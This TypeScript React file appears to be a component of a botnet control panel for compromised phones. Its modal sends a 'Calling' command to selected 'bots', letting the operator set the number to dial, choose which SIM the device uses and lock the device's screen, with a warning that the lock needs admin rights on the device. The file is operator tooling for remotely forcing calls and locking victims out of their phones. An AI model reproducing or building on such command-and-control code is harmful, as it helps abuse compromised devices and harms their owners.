import React, {useEffect, useState} from "react";
import {ModalWithSelectedBotsProps} from "../../../Model/Modal";
import {Alert, Col, Form, Input, Modal, Row, Switch} from "antd";
import {getBotsId} from "../../../Util/getBotIds";
import sendCommand from "../../../Requests/Commands/sendCommands";
import {inputRules} from "../../../Util/config";
import {useTranslation} from "react-i18next";
import {SimCardIcon} from "../../Misc/CustomIcons";

const Calling: React.FC<ModalWithSelectedBotsProps> = (props: ModalWithSelectedBotsProps) => {
    const [form] = Form.useForm();
    const {t} = useTranslation();

    const [locked, setLocked] = useState(false);

    useEffect(() => {
        form.setFieldsValue({
            sim: "sim1",
        });
    }, [form]);

    const closeModal = () => {
        props.setVisible(false);
        form.resetFields();
    };
    const formSubmit = () => {
        const formFieldsValues = form.getFieldsValue();

        sendCommand({
            command: "Calling",
            payload: {
                ...formFieldsValues,
                lock: formFieldsValues["lock"] === true ? 1 : 0,
                // sim: formFieldsValues["sim"] ?? "sim1",
            },
            botIds: getBotsId(props.selectedBots),
        });

        closeModal();
    };

    return (
        <Modal
            title={t("CALLING_COMMAND")}
            open={props.visible}
            onCancel={closeModal}
            onOk={() => form.submit()}
            okText={t("CALLING_COMMAND")}
            cancelText={t("MODAL_BUTTON_CANCEL")}
            width={340}
            destroyOnClose
        >
            <Form form={form} layout="vertical" onFinish={formSubmit}>
                <Form.Item
                    label={t("NUMBER")}
                    name="number"
                    rules={inputRules}
                >
                    <Input type="text" placeholder={t("NUMBER")} />
                </Form.Item>

                {props.selectedBots.length === 1 && (
                    <Form.Item label={t("SELECT_SIM")} name="sim" valuePropName="value">
                        <Row gutter={15}>
                            <Col span={12}>
                                <label className={props.selectedBots[0].sim_data?.operator ? "sim-card" : "sim-card disabled"}>
                                    <Input
                                        type="radio"
                                        name="sim"
                                        value={"sim1"}
                                        className="sim-card-radio"
                                        defaultChecked={true}
                                        disabled={!props.selectedBots[0].sim_data?.operator}
                                    />
                                    <span className="sim-card-inner">
                                        <span className="sim-card-icon">
                                            <SimCardIcon/>
                                        </span>
                                        <span className="sim-card-info">
                                            <span className="sim-card-name">
                                                Sim #1
                                            </span>
                                            <span className="sim-card-provider">
                                                {props.selectedBots[0].sim_data?.operator ? props.selectedBots[0].sim_data?.operator : "Empty"}
                                            </span>
                                        </span>
                                        <i className="sim-card-checked fa-solid fa-check" />
                                    </span>
                                </label>
                            </Col>
                            <Col span={12}>
                                <label className={props.selectedBots[0].sim_data?.operator1 ? "sim-card" : "sim-card disabled"}>
                                    <Input
                                        type="radio"
                                        name="sim"
                                        value={"sim2"}
                                        className="sim-card-radio"
                                        disabled={!props.selectedBots[0].sim_data?.operator1}
                                    />
                                    <span className="sim-card-inner">
                                        <span className="sim-card-icon">
                                            <SimCardIcon/>
                                        </span>
                                        <span className="sim-card-info">
                                            <span className="sim-card-name">
                                                Sim #2
                                            </span>
                                            <span className="sim-card-provider">
                                                {props.selectedBots[0].sim_data?.operator1 ? props.selectedBots[0].sim_data?.operator1 : "Empty"}
                                            </span>
                                        </span>
                                        <i className="sim-card-checked fa-solid fa-check" />
                                    </span>
                                </label>
                            </Col>
                        </Row>
                    </Form.Item>
                )}

                <Form.Item label={t("LOCK_SCREEN") + "?"} name="lock" valuePropName="checked">
                    <Switch
                        unCheckedChildren={t("NO")}
                        checkedChildren={t("YES")}
                        checked={locked}
                        onClick={() => setLocked(!locked)}
                    />
                </Form.Item>

                {locked && props.bot?.permissions.admin &&
                    <Alert type="warning" message="Need activate admin rights to lock screen"/>
                }
            </Form>
        </Modal>
    );
};

export default Calling;
